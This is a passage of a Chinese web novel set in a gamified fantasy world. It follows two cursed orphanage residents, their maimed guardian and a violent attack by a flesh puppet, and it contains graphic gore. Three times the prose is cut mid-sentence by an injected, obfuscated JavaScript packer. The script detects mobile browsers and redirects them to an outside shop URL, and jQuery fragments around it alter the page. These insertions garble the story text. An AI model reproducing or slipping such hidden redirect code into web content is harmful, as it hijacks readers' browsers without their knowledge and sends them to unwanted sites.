沈曙雀摘下手套,抽他的肩膀,“你想想平叔,想想仁爱院,想想大家。痛苦之匣如果是人为制造的道具,你觉得对方发现我们,为了泄愤会怎么做?”
乌修平看着沈曙雀,没有说话。
他内心说不清是悲凉还是惊悚,可是有什么办法呢?他难道要杀了平叔,狼狈逃跑吗?
“我们所有人一起逃跑吧。”
“哪有这么容易走。”沈曙雀道:“我们没有大型传送门,一时半会走不掉,租用大型交通设备太惹眼,容易被人追踪。况且,我们还没有找到能自给自足的安全屋。孩子需要食物、药物、衣物。寒潮快到了,暖气和被褥也不能少。童姥姥……明修女的伤口也没好……”
乌修平闭上嘴。
他的沉默恰恰是种态度,把沈曙雀气得半死。
“你要为自己那点私心,让我们所有人死掉吗?”稀稀拉拉的蒜皮掉在地上,女孩一边低声骂着,一边用剥蒜的手擦眼泪。说到伤心处,双手捂着,蒜汁全擦在眼皮上。
乌修平也被辣得掉眼泪,连连求饶,“阿雀。”他伸出手揽住沈曙雀的肩膀,不断走过去,窗外电线上两只灰溜溜小麻雀互相挤着,叽叽喳喳朝里面看。
乌修平低声哀道:“我错了。我错了。你别哭。我自己去给有钱人杀了泄愤,绝不影响大家。”
“你总把事情想简单。”沈曙雀呜咽道:“好像我没有心一样。要不是我没有办法晋级,我早和你一起把那些人全杀了。”
“阿雀,我没有这么想你。”
“我管你怎么想我。你过来。”沈曙雀在乌修平手心悄悄写材料名,叮嘱道:“之前有个人去35级副本附近收材料。我把攒来的钱交定金,要他带这些。你拿到之后,赶快去找穴鼠先生,要他给你护法。”
35级的金线草、迟蝶粉。
乌修平很快想到网络上流传甚广的“升级秘法”。传言按照这套法子制出药剂,服下后可以短暂突破等级桎梏。但前段时间,这法子被证实是草药商炒作出来的,好多人追着帖子和药商辱骂。
“阿雀,这法子是假的。”
“万一不是呢。”沈曙雀抓着乌修平的手,叮嘱道:“哪怕是假的。你有老鼠先生,带着草药求求他。他神通广大,肯定知道适合你晋级的药剂。啊呜,求人要有求人的样子。”
乌修平不忍看沈曙雀的眼睛。
他完全说不出口,自己与穴鼠到底是什么关系。纵然他与沈曙雀青梅竹马,两人好到挤在一起诉苦取暖,可他也无法说出他在穴鼠那遭遇到的种种。
“今天下午一点。我先去拿草药。你在荒坡等我。”沈曙雀道:“姥姥知道你要去找老鼠先生,特地扩大了技能覆盖面积。我们别去中心区,姑且算安全。”
他们的行踪会被比丘尼的技能修正。
就像,他们从没有来过一般。
“我知道。”乌修平扇风散味,屁股挤开沈曙雀,自己蹲坐在蒜堆前,“你再去睡一会。这些蒜我来剥。下午小心,遇到不对马上跑。”
他们两个窝在厨房,小憩片刻。远处学校那的电子铃叮叮叮敲了五下,乌修平和沈曙雀再次醒来,他们将番薯切块,烧水,煮饭。童姥姥打开二楼每一扇窗户,手挨个拍过床铺,孩子们揉着眼睛起床,有些木木地坐着,有些用残缺的手叠被子,有些完全不知道发生了什么。
叶生光拄着直棍,咚咚咚带能下来的孩子先吃饭。
乌修平戴上口罩,往不锈钢碗里打粥。每一份不锈钢碗里的硬货是番薯,随后是有些稀薄的米粥。沈曙雀端着碟子,挨个往不锈钢碗里放一夹筷子。他们两睡觉的桌子,围坐着几个孩子,吃完后,队伍里能照顾自己的那个抹一把桌子,换下一批上来。
这就是仁爱院的早上。
孩子们先吃,大人们吃孩子们剩下的。乌修平和沈曙雀各自分到四块番薯,咸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223159|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
菜已经没有了,但他们吃得很香。叶生光坐在他们对面,慢条斯理喝着稀粥。
她两只眼眶,早年还有眼球,但随发育逐渐萎靡,最后在两岁的某天低头时,啪嗒一下从眼眶中掉出来。
一周后,她的父母借口全家旅行,来到他乡,将两岁的叶生光丢在大街上。与其他孩子不同,两岁的叶生光硬生生靠着喝脏水吃叶子,听路边人说话寻找到仁爱院。
她呈现出与两岁孩童完全不同的镇定,对接待自己的明修女道:“我会帮忙工作的,不要把我送回爸爸妈妈那。我可以做很多事情。”
送回去,无非再次被抛弃。
叶生光就此扎根在仁爱院。明修女和童姥姥为她借来盲文书,供她认字读书。叶生光也没有辜负长辈们的慈爱,充分发挥自己的智慧,规划走“阵法师”职业,一路顺风顺水升级到20级。
没错。
叶生光是整个仁爱院最有天赋的孩子。她从最开始便知道“失明”是自己的劣势,她要化劣势为优势,精心挑选“阵法”这一模式:在女孩的认知中,她的手会比寻常人更敏感,她能绘画出更具备精度的阵法。
“我以前练习过‘清除诅咒’这个技能。”叶生光道:“当时,想要消除曙雀姐和修平哥身上的诅咒,可惜失败了。”
【清除诅咒】只能消除已存在的、比施法者等级低的诅咒。
叶生光第一次接触沈曙雀和乌修平身上的诅咒时,魔力涌入两人的血管小心翼翼向前涌动,随后被数道力拍在一堵墙上!叶生光彼时刚升入20级,她察觉自己身体摇摇晃晃,无论如何都无法维持平衡。她咬住牙,鲜血碎沫从牙缝里吹出来。
她自己也如泡沫,受到重创。
【清除诅咒】也成为叶生光不愿意触碰的技能之一。
她变更这个技能的使用方式,将它从一个“有益辅助”技能,变成一个更接近“勘察类”的技能。
“技能说到底只是一种‘工具’。”叶生光解释道:“我想,平叔现在的状态可能由‘诅咒’‘中毒’‘冶金炼成’等各种选项。我们想要治好他,一定要清楚,到底是什么让他变成现在的样子。”
乌修平和沈曙雀顿时精神起来。
“是这个道理。”沈曙雀道:“如果是中毒的话,我的血应该能派上用场。”
他们两还没有高兴太久,叶生光一盆冷水从头泼下,“不是中毒。”
“冶金的话。”乌修平起身,琢磨要不要找穴鼠再问问。他始终记得穴鼠说平叔被人制作成“痛苦之匣”。
“也不是冶金制作。”叶生光摇头道:“更不是诅咒。我检查过了,这是‘技能’。”
技能是工具。
是游戏面板技能槽上安装的模块。
叶生光道:“‘痛苦之匣’是平叔自己的技能。”
他对他自己使用【痛苦之匣】……吗?
8. 第七章
第七章
乌修平不清楚自己抱着什么心情站在门口。
他的手落下,举起,迟迟没有扣响房门。
因为他知道,无论自己敲成什么样子,或不敲,都要自己亲手推进去。
平叔。
乌修平嘴唇嚅动,没有发出声音。他两腮分泌唾液,牙龈麻麻的,随着手掌压下门把手,舌头顶住上颚,缓慢推开木门,合上。
孩子们都被叶生光带出去晒太阳。
屋子里除了叠好的被子,只剩下悬挂着玩具的摇篮。透过发黄的木栅,乌修平依稀能看到平安生的侧脸和些许头发——窗帘晃动,栅栏与光斑中乌修平看见平安生的发旋,他第一次从这个角度观察平安生。
一米九高的平安生在仁爱院站着、坐着、抱着孩子,爬上爬下修缮房屋,伸出手就能盖住乌修平的双眼。他少有麻烦人的时候,因而很少有人站在他上面,居高临下地看他。
“平叔。”
乌修平走上前。脚步声惊动熟睡中的男人。摇篮床晃动起来。褪色的彩色婴幼儿玩具们吱吱呀呀旋转起来,漏音走掉的儿歌咿咿呀呀唱起来。
平叔嘴唇干裂,最前端的唇珠动了两下。
乌修平抓住摇篮杆,他俯下身。略长的碎发从青年两颊垂落,遮盖住他的冒犯。
“平叔。”乌修平低声道:“我在这里。”
平安神眼神涣散,一切眼泪和强烈的情绪都溟灭在球体中。他唇珠细微颤动,有什么东西正要从中倾诉出来,那悲痛的令他沦落到至今的原因,令一个男人失去四肢毫无尊严的愤怒……总之什么都好,乌修平做好接住平叔一切情绪的准备。
他俯下身。
头发尖压在平叔面颊上,耳朵听着,眼睛看着。
平叔。从小待他极好,几乎充当他生命中父亲角色的平叔,只要他说出个名字,乌修平将得到莫大的信心,并不惜一切代价寻找真相。他将比过去更努力地升级、工作,完全将身体出卖给穴鼠,换取更多更好的信息。
一切都值得。
“杀了我。”平叔道,“杀。杀了我。快。”
这三个字最开始还有固定的顺序,后来化为一种执念般的重复。阳光投过乌修平的身体,将他的存在化为巨大的阴影,覆盖在平叔身上。
“杀。我。我杀。我。我。”平叔的身体蠕动起来,他被斩断的四肢像扎好的肉色气球束口,一些增生出的新鲜的肉依照各种痕迹生长,仿若一个烧坏的长颈方形花瓶。
乌修平不得不正视沈曙雀的话,理性告诉他:沈曙雀说得没有错。
但在他内心,私心与恐惧淹没了平安生个人的愿望。当一个强壮的你不可能得到的男人切除掉逃跑能力,束手无策地躺在你身边。当一个孩子掌握对父亲的权利时,莫名的不被伦理接受的快感覆盖他的神经。
“不行。”乌修平道:“平叔,不可以。”
他注视着平叔,拉起被挤到边角的薄被盖在平叔身上,再次喊了他一声平叔。
“我想你活下来。”乌修平道:“我会为你复仇,会努力工作,会找到能让你好起来的药水。”
【叮】
【你让“痛苦之匣”感到痛苦,经验值+100】【因特殊原因,增加经验失败。经验转化为自由点数。请及时调整点数。】
【叮】
【你让“痛苦之匣”感到痛苦,经验值+100】【因特殊原因,增加经验失败。经验转化为自由点数。请及时调整点数。】
【叮】
【你让“痛苦之匣”感到痛苦,经验值+……】
连绵不断的提示音不断鞭挞着乌修平的耳膜,他听到了,也看到了飞速增长的自由点数。
“我不会让任何人杀你。”乌修平继续道。他每说一句自以为是的承诺,都兑换成丰富的点数。到离开摇篮床的那一刻,乌修平自己都分辨不出,是为了点数震惊,还是平叔的话悲伤。
亦或是,因自己让平叔感到痛苦而感到胸闷。
“修平。”
“啊呜。”
叶生光和沈曙雀早早守候在门外。她们没有进去,听不清里面痛苦的低语。她们也有各自关心的事情。
叶生光问,“你和孩子们一样升级了?”
沈曙雀问,“你改变主意了吗?”
乌修平调出自己的面板,共享给她们看。
15级,纹丝不动。
“怎么会?”沈曙雀惊讶道:“啊呜。你怎么会一点经验值都没有涨?”
“你怎么全关注这些事情?”乌修平与沈曙雀置气,但没一会又好声好气解释,“我和孩子们不一样……系统自动转换成点数……估计我身上的诅咒自带等级封锁能力。没有解开诅咒前,我无法突破15级。”
转职成功后,每次升级都将带来更详细、更丰富的数据提升。人们绞尽脑汁思考如何分配技能、提高熟练度、如何规划职业道路等等。
对比之下,【力量】【速度】【智力】反而会因其他原因自动提高,逐渐被人忽视。
叶生光看不见面板,听乌修平和沈曙雀说话,提醒道:“我记得基础数据没有上限。”
“理论上是这样。”乌修平道:“可我没什么感觉。”
昨天带着平叔逃跑,乌修平就给自己加了10点速度。事后,他蹦蹦跳跳自己看不出提高在哪里,既不身轻如燕,也不灵活摆动。
沈曙雀深吸一口气,给乌修平吃个爆栗,“蠢货。你伤好了吗?没有痛感不代表你没有受伤。”
乌修平:“我已经习惯了。”
沈曙雀干脆翻白眼,拉乌修平的游戏面板的研究,眼睛酸了也确实没看出大变化。她自己卡在晋级任务近十年,对这些属性什么的,最多分享自己的体验,“不完成转职任务和晋级任务,基础点数也会卡住。再怎么锻炼都不会提高,或者说,提高难度很大。”
但,平安生出现了。
沈曙雀戳着乌修平的游戏面板,“唉。我还想,你留下平叔是为了成为超级无敌大刺客。”
乌修平嘴她,“阿雀,你真无情。”
“我不无情,在外面早给人打死了。”
两人看着游戏面板,齐刷刷叹口气。
“还是得拿药材。看看有没有偏方提高实力。”沈曙雀道:“啊呜,老地方等我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223160|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
叶生光默念几遍,记下乌修平的面板数据。她招呼两人,沾水在他们掌心各写下两个符号。
“这是简化版的【清除诅咒】逆行版。”叶生光道:“当年失败后,我就一直在研究魔力运行的方式。这是最新的安全版本。”
非常适合沈曙雀和乌修平这两个“深受诅咒毒害的可怜人”。
——乌修平,他的身上有永远无法疗愈的伤口。
任何药物,任何疗愈术,任何治疗系道具都没有办法阻止他的伤口破裂,长期的疼痛已经让乌修平感觉不到疼痛的存在。
现在,他的职业等级三年没有提高,未来也有可能不会提高。
——沈曙雀,她的鲜血能让职业者经验清零,让普通人死亡。
任何药物,任何疗愈术,任何治疗系道具都没有办法阻止她的血液污染他人。利用鲜血威胁他人,曾成为沈曙雀的生存之道。
现在,她都没有办法完成晋升任务,七年如一日停留在10级。
疼痛和血腥始终伴随着乌修平和沈曙雀。
他们习惯与诅咒同行。
某种程度上,他们即为诅咒本身。
叶生光逆推技能逻辑时,第一个想到他们两身上的“诅咒”。
“如果有人对你们造成负面效果,这个符文会牵扯出你们本身的诅咒……当然,不可能是完整的诅咒。应当是诅咒带给你们的一部分负面影响。”叶生光指着另外一道符号,道:“这是我的技能‘禅心’,当‘逆行的诅咒清除’触发时,‘禅心’能保证你们10分钟的清醒。”
叶生光是偏辅助类的阵法师。
【禅心】是她转职后,童姥姥为她购入的第一个职业技能,效果为:强制冷静10分钟+脱离负面效果10分钟。
“‘禅心’触发后,你们两什么都不要管。”叶生光强调道:“跑。直接跑。分开跑,千万不要恋战。”
平安回来,活着回来,比什么都重要。
两道符号融化在手心。乌修平再看,什么都看不出来。他犹豫要不要把从富二代那抢来的匕首借给沈曙雀,沈曙雀早早背上包裹,穿上手套和口罩跑到后门。
她道:“啊呜。你要不要先联系下老鼠。”
“不是老鼠,是穴鼠。”乌修平捂额,“要叫他穴鼠先生。”
“随便啦。”沈曙雀蹿出去,又蹿回来,“不能换回药。你也要换点好的刺客装备。喂。啊呜,你可是家里唯一的战斗力,听到了吗?”
乌修平哭笑不得。
他跟在沈曙雀后面出门,思来想去还是选择相信好友,绕了好远上到他们的秘密基地:一处荒山坡上等候着。
当年向平叔告白的花就是在这里摘的。
大片的酌浆草、婆婆纳中,点缀着扑尔根和少数萝卜花,数条小径光秃秃蔓延到土坡上,几块大石头嵌在泥土中,乌修平坐上去,阳光把一切都照热了。沈曙雀消失在弯弯曲曲的街巷中,酷热下,房屋的影子也枯竭了。
白茫茫一片。
只剩下野花野草,沙沙哗哗地叫着。
要不给穴鼠先生带点花吧。乌修平莫名心虚起来。
9. 第八章
第八章
没有预想之中的危险,沈曙雀很快拿到货物。她把背包换给乌修平,让乌修平去穴鼠那换点有价值的药水和武器。
而穴鼠随便往背包里扫一眼,把脸埋在野花片刻,整个软在乌修平怀中,“你女朋友被骗了。”
乌修平没反应过来,“什么?”
“你女朋友。”穴鼠用野花啪啪打着乌修平的脸,“别以为我看不出来。对你这么好,不是女朋友是什么。”
“你又说什么胡话。”乌修平顾不上关心其他,别开花束,“这些材料不对劲吗?”
“你亲我一口。”穴鼠赖皮起来,抓住乌修平的手,自顾自地十指相扣。
乌修平明了,转过身啄了穴鼠两口。
他的穴鼠先生又不知道吃哪门子飞醋。过去两年,光沈曙雀是谁,沈曙雀为何与自己好,这两个问题乌修平每个月都要解释两次。
他为找平叔付出什么努力,对沈曙雀施加多少关心,穴鼠就要在床上找回多少存在感。
他像长无数双眼睛,无时无刻,阴暗又隐晦地盯着乌修平。
“她10级,鉴定术都学不了,肯定给人骗。”穴鼠用嘴唇数着乌修平手上的伤疤,像检查珠宝盒般一枚一枚数过去,对所有伤疤如数家珍:这是他抓出来的,这是他某次咬出来的,这是乌修平生来自带的……
“那怎么办?”乌修平问道,“这些还值钱吗?”
穴鼠目光游离,另辟蹊径:“我想要。”
乌修平还没来得及高兴,穴鼠从后方缠上来,坐在怀里,直勾勾看着自己。
“我想要了。”穴鼠收紧双手,“她在我这不值钱。乌鸦,你不一样。”
乌修平闭上眼,头疼这种无休止的索要——今日不同往昔,他着急自己的性命,着急仁爱院的大家,着急回去与沈曙雀商量事情。而不是躺在穴鼠巢穴中,眼睛一闭一睁,半天过去了。
“先生。我在忙。”
“忙?她的事情是事情,我的事情就不是事情吗?”穴鼠捧着乌修平的手,亲了亲,“你再这样,我迟早要把她杀了。她还叫你啊呜~哼~啊呜。”
这么亲昵的小名从穴鼠口中念出来,乌修平感到阵羞耻。他不情愿告诉仁爱院众人真相,也有这方面的考虑:在这名字的呼唤下,他鼓起点恶劣心思,扯住穴鼠身上细细的带子,“啪”得弹出去。
裤带勒出的饱肉颤了颤。
“我和阿雀真的是朋友。”
穴鼠直接换个姿势,蜷起身窝在男人怀里。面对乌修平有些泄愤的姿态,他逗弄宠物般笑起来,要乌修平手捧着自己,又要乌修平脸贴上来,就这嘴唇和耳朵亲了许久。
“真的?”
“真的。”乌修平相信穴鼠真会杀了沈曙雀,他握住穴鼠的腰,以表忠心,“我喜欢男人。”
“那平叔呢?”穴鼠道:“这些材料不值几个钱,但你来,就是想找我换东西。你想换什么。”
乌修平:“有没有疗愈药……”
穴鼠一脚踹在乌修平心口,翻身骂道:“滚。找你的平叔去吧。”
“穴鼠。穴鼠先生。”乌修平唉声,半跪在床上够穴鼠的身子。穴鼠往里滚了滚,乌修平跟着膝行上去,来到床中间躺着哄人,“我不是这个意思,断肢重生的药肯定很贵。您帮我换一些快速疗愈药就行。”
穴鼠抬起眼皮。
“走开。”
“先生。”乌修平从后背抱住穴鼠,孩子似地摇他,“不生气。不生气。”
穴鼠卷起被子,团成一个蛋卷,闷声抱怨,“我早晚要把他们都杀了。”
乌修平当穴鼠说气话,又怕这不是气话。两年多的相处,他娴熟搂掉情人耳边的长发,嘴唇贴着情人的长发,“说什么胡话。”
“我说多了。你还真当是胡话”穴鼠道:“他们迟早都要死。到时候你就是我的。”怕还不够刺激乌修平,他挑衅地拉下被子,吐起舌头,“真死了,我第一个放烟花。”
那个什么鸟朋友,死了好。
穴鼠看乌修平身边一切活人都不爽。
*
沈曙雀很少外出。
一来,她不是个好脾气的人,外人因诅咒嫌弃她,她必要挥舞拳头和刀剑吓唬对方几回;二来,她实在是穷,鞋子衣服都要和乌修平轮着穿,夏天烫脚,冬天冻脚。
因而每次外出,沈曙雀都抓紧完成自己的转职任务。
【寻找并食用神性材料:瘟疫污染物】
沈曙雀12岁升到10级,第一次见到这任务还以为刷新错误。她想自己也没有祈祷神灵,怎么弹出这个任务?揉着眼睛等个通宵,没等着任务刷新,懵得意识到:这就是自己的任务。
可她完全不知道要去哪里找神性材料,也不知道瘟疫污染物是个什么东西。
直到20岁那年,乌修平从穴鼠那睡到消息,回来告诉她:
一,神性材料仅出现在65级以上的副本,爆率趋近0.001%
二,全球唯有一个副本产出过“瘟疫污染物”。
那个副本位于圣多明各,最低准入等级:65级,联通“疾病与瘟疫之神”旗下一个小世界。
乌修平和沈曙雀换了三份地图才找到“圣多明各”这个名字。两个人第一次知道地大洋对面还有这么个城市。
“交通发达的前时代,单程飞机票要一万五。”沈曙雀自嘲道:“现在更贵,我还没有一张传送票值钱。”
此后,她接着寻找偏门的晋升法子,力求绕过这个65级神性材料。
交给乌修平的材料正是沈曙雀为自己晋级准备的“诈骗材料”。
“保真吗?”
“肯定保真。”
沈曙雀从口袋里数出一张一张发毛的钱,背起包,小心翼翼爬上山坡。乌修平从半人高的枯草中站起来,两个人接过东西,互相叮嘱几句,交叉着离开。
“啊呜。”沈曙雀临行,还是不放心,追着道:“那个老鼠再欺负你,你就赶快跑。谁知道他会不会卖了你。”
“阿雀。别这么说穴鼠先生。”乌修平低头找补,“谁也想不到会变成这样。”
“你就帮他说话。”沈曙雀埋怨道:“啊呜,明明你和我们才是一家人。”
没错。
沈曙雀就是这么想的。她与乌修平同为诅咒的玩物,他们是同样的可怜人。世界上不会有人比他们更加亲密,他们从小一起长大,年龄相仿,因贫穷互换着衣服和鞋子,睡同一张桌子上,一起做零工,一起帮着姥姥和修女干活。
只是沈曙雀没有遇到自己的穴鼠先生。
她眼睁睁看着乌修平得到工作,赚到更多钱,吃了苦头,却在黑暗中看到点前进的希望
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223161|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
——对他们这些底层人来说,升级大过一切。
升级就是力量的证明,是这个时代的鲤鱼跃龙门。
金钱。权利。跃升阶级。
无所不能。
“如果我能晋级……”沈曙雀不知道多少次这么自言自语地假设。而这次,随着她的话,一支锋利的利箭自后背洞穿前胸。沈曙雀完全没有反应的时间,附着在手心的“禅心”咒文缓缓亮起。
【强制冷静生效】
10分钟的倒计时出现在沈曙雀面前。
她的哀嚎却无法避免地宣泄出来。罪魁祸首急速地扎入第二支、第三支利箭。在压倒性的等级面前,什么被动技能都太过弱小。
沈曙雀跪倒在地上,双手支撑着泥土,大口大口的鲜血涌出口,她从自己的鲜血中看到一个若有若无的人影。
在后面……敌人……这么近……吗?
沈曙雀摸索着自己的水果刀。
她后悔没有接过乌修平的匕首,那可真是一把锋利的好武器。不像她随身带着的白板刀,备注都是“一把平平无奇的水果刀”。
身后的人逐渐逼近。他的背影高得不像话,阴影先于他本身将沈曙雀整个覆盖。他凝视着沈曙雀,发出种细微的不似人的电流声,随着声音结束,他揪住沈曙雀的头发,将她从地上提起,转过身。
鲜血流到沈曙雀的瞳仁中,她的视野猩红一片,脚离开地面,肩膀与身子沉沉垂下来——从她与地面的距离,模糊估算敌人是一个近两米三的“巨人”。
沈曙雀的脑壳被攥住,她疼得大叫,“放开我。”
3.
猩红巨人道:“乌修平在哪里?”
2.
沈曙雀默数着时间,露出满口鲜血,“呵。”
猩红巨人露出满口獠牙。那些不似人的牙齿残留血块,数百条蠕虫般舌头从口腔中涌出来,“他在哪里。”
1!
【疾病与瘟疫之神对有人伤害你感到不满】
【他对沾染你鲜血之肉身,赐予“等级剥夺”惩罚。】
沈曙雀抽出水果刀,爆发出这个等级全部的力量,狠狠扎中对方的手腕。然而,她预想中对方的哀嚎并没有诞生,倒是那些扎在她身上的血色长箭一根一根萎靡,垂落,化为黑灰般的造物。对方接触自己的手也呈现出融化的姿态,果冻状分批掉落在地上。
“呕——”沈曙雀边吐血边骂边呕几声,“嘴滂臭。”
她曾经仗着自己的诅咒找了份讨债的工作。这是份难得的挣钱工作,可没做两天,就给一个天骄按在地上打。对方不用亲自下场,直接启动家族赠与自己的傀儡,远远地揍着沈曙雀。
那一天,就是这般的场景。
沈曙雀竭力用自己的鲜血污染对方,她绝望又嫉妒,发狂又卑劣想要让别人与自己一样陷入到悲剧中。只有在悲剧中,她的人生才不至于那么凄惨,她的人生似乎才有价值。
而对方不用努力,不用为生活奔波,高高在上,评价她,“难怪会被诅咒,真是活该。”
沈曙雀全记在本子上。结合世界游戏化前关于疾病的描述,她逐步确定自己的血液、唾液对“人体”产生诅咒效果,依据不同的材料、属性,诅咒的效果也有不同的效果。
“原来是傀儡。”沈曙雀抓紧水果刀,呸出血沫,“该死的有钱人。”
10. 第九章
第九章
傀儡是道具。
沈曙雀等级太低,看不出面前傀儡的等级。她在脑海里回忆乌修平提供的信息,肯定一个雇得起39级保镖的富二代,肯定会花大价钱寻仇。
眼前的傀儡会是什么等级?25级?30?还是更高?
沈曙雀比划两下,似是恐吓,又似是壮胆。
乌修平还是别来了。
他比自己也好不到哪里去,15级说到底也就那样。单论打架还不如自己下手狠。
沈曙雀感到自己的胃正在翻涌,鲜血黏糊糊黏在嗓子上。
这个时候,乌修平不要出现。不要出现。因为对方就是冲着他来的。沈曙雀讨厌无意义的牺牲,她太了解她的挚友,她知道对方看到这一幕会冲上来。
“阿雀!”
巨大傀儡转过头,动起来。沈曙雀也同时动起来。她挥舞匕首,冲入傀儡的下胯,匕首向上狠狠扬起,刀锋上的鲜血混入傀儡体内。而她自一刀后,滑行出去,皮肤被粗劣的枯草“咔咔咔”割出斑驳血痕。
“蠢货。蠢货。”沈曙雀破口大骂,“跑!”
乌修平窜出来。天知道他从哪个角落出来,捞过沈曙雀,发动技能【潜行】。沈曙雀的血浸过衣物,透到乌修平的皮肤上。
“不要回去。”沈曙雀沙哑的低声嘶吼,颠得呕血,“你从哪里跑出来的。不要回去。呕。呕。”
不要回仁爱院。
乌修平当然知道。他扛着沈曙雀,朝着荒山深处前行。在他们后面,傀儡放慢速度,小心翼翼避开沈曙雀残留下的血迹。他并不着急跟丢这两人,因他已看出这两个穷光蛋根本掏不出道具和药水。
只要避开自带诅咒效果的血,活捉乌修平,问出痛苦之匣的下落就可以了。
傀儡弄清这一点,站在原地。他因接触沈曙雀之血而融化的双手,从关节处断裂,血色与肉块蠕动着,“噗”一声长出笋状肉芽。
“麻烦死了。”
他说着,肉芽展开,呈现出四米长的双翅。
翅膀拍击地面,草本枯木海浪般俯倒,傀儡双脚所站立的位置,凹裂出数道龟纹,随着他缓慢升空,龟纹中洋洋洒洒升起数以万计的尘土。
“去。”
风动,尘土先行。
乌修平听到骤雨将至的声音,阳光照得他眼睛发疼,沈曙雀的鲜血在他皮肤上烧出一个又一个焦黑的小洞,他却完全没有任何感觉,狂奔,狂奔。
他感到身后有什么正在逼近,随着声音越来越急促,树叶簌簌被击穿,大片林木倒下。乌修平一阵心悸,他将沈曙雀抱在胸前,两个人一并滚到地上。在他们头顶,巨大的尘土穿刺过,漫漫黄沙落在他们的头发上。
绝对超过20级。
乌修平见过39级的保镖刘大哥,他对39级的职业者能力有概念。而更上面一些的等级,他也多少有点概念——89级的穴鼠会傲慢点评一些他眼中的弱者,告诉乌修平这些都不算什么。
“痛苦之匣在哪。”
声音自他们头顶传来。太阳透过羽翅的缝隙,微弱地呼吸着。乌修平拔出匕首,“阿雀。”
沈曙雀抬起手,沉默又娴熟地将自己的血擦在匕首上。
她的血算是另类的附魔。乌修平和沈曙雀作为低等级者,为了自保想过成千上百种方式:匕首上擦血,算是其中有点用的。
缺点是有时限。
“他是傀儡。”沈曙雀交换自己得到的情报,“我的血对他有效果。”
说明,这个傀儡的原材料里有人类。或者说,就在这傀儡里有活着的人体组织。
乌修平盯着天空上遮天蔽日的巨翅,“操控者在傀儡体内?”
“不像。”沈曙雀道:“更像有自主意识的动物,听从主人的命令罢。”
乌修平了然,抬头看着高高在上的血腥傀儡,攥紧匕首。
如果他好声好气哄着穴鼠,穴鼠肯定不会袖手旁观。可他又清楚,自己再好声好气求着穴鼠,穴鼠也不会救下沈曙雀、平叔和仁爱院的众人。那个可恨又可爱的89级标榜自己自私,是真的自私,他恨不得乌修平哪里都不要去,整日在他爱巢里狂做不止。
在这个等级世界里,向强者屈服是非常正确的选择。
没有人会指责乌修平道德败坏。
乌修平却觉得不行。
他做不到。
“痛苦之匣在哪。”声音再次从天空上传来。
“什么痛苦之匣。”
“昨日你拿走的东西。”傀儡双腿化为锥形,扑向地面。乌修平眯起眼,锥尖已对准他的咽喉。喉结被锥尖刺出一滚鲜血。
背后,沈曙雀已翻滚到地上,一手水果刀,一手抽出低级治疗药水,一口闷,砸掉玻璃瓶,握住锋利的玻璃尖,阴森森等候时机。
乌修平则直视追杀他们的敌人。
“昨天?”
他只有两个技能,一个叫【潜行】,一个叫【闪刺】。
两个技能一目了然,一个用于跑路,一个用于攻击。
乌修平道:“昨天。昨天。哦。我想起来了。你们要找的是——”发白的眼球抵住乌修平的脑门,寒恶激得他鸡皮疙瘩直冒。骤然,他抽出自己的匕首,刺向血腥傀儡的眼白。蠕虫般的长舌缠绕上乌修平的手与匕首,将他与他固定在一个安全的区间。
“平安生。”傀儡念出这个名字,语气逐渐变调,“平安生。”
乌修平转动手腕。鲜血涓涓向下,愤怒弥漫上心头。
【受到负面影响】
【禅心发动。】
乌修平的大脑全然冷静下来。强制冷静的十分钟,迫使他思考。他的目光聚焦在面前的傀儡脸上:数条长舌后是一张张扭曲的脸,有的曾和乌修平说过话,嘲讽过他,打探过他伤口的由来,窃窃的笑。乌修平对外人的恶意十分敏感,而当那些充满恶意的脸裹满血浆,他内心生出奇诡的快感。
“喝啊!”他竭力伸出手,匕首向前几分。
扭曲的长舌更积极纠缠上来,密密麻麻的织网下,沈曙雀穿梭在灌木杂草中,掌心闪烁着“技能禅心”的光芒。
他们与敌人不存在谈和的可能性。
不要在战斗中泄露一丝一毫仁爱院与平叔的信息,才是正确的做法。
“喂!”沈曙雀高举左手,玻璃渣深深陷入她的掌心,鲜血浸透她的外衣。她摊开手掌心,裹满血浆与碎肉渣的玻璃渣压在指尖,随着急促的呼啸声,弹射向天空。
乌修平听到傀儡嫌弃又不耐烦地咋舌声音。他目光没有放在沈曙雀身上,禅心效果让他聚精会神,意图明确地盯着傀儡,在对方为躲避沈曙雀之血,露出微弱缝隙的瞬间。
乌修平狠狠咬住那些长舌,牙齿扯出血浆。他眼睑被一块软骨砸中,半张脸泼开褐红色,而在其中,他解放自己的匕首,快速精准刺中对方硕大的白色眼球。
傀儡发出一声尖啸。
到这一刻,他终于有了点人类的反应。但很快,乌修平和沈曙雀再次意识到他们面对的是一个傀儡,而不是真实的人类——足有四米长的双翅重击地面。
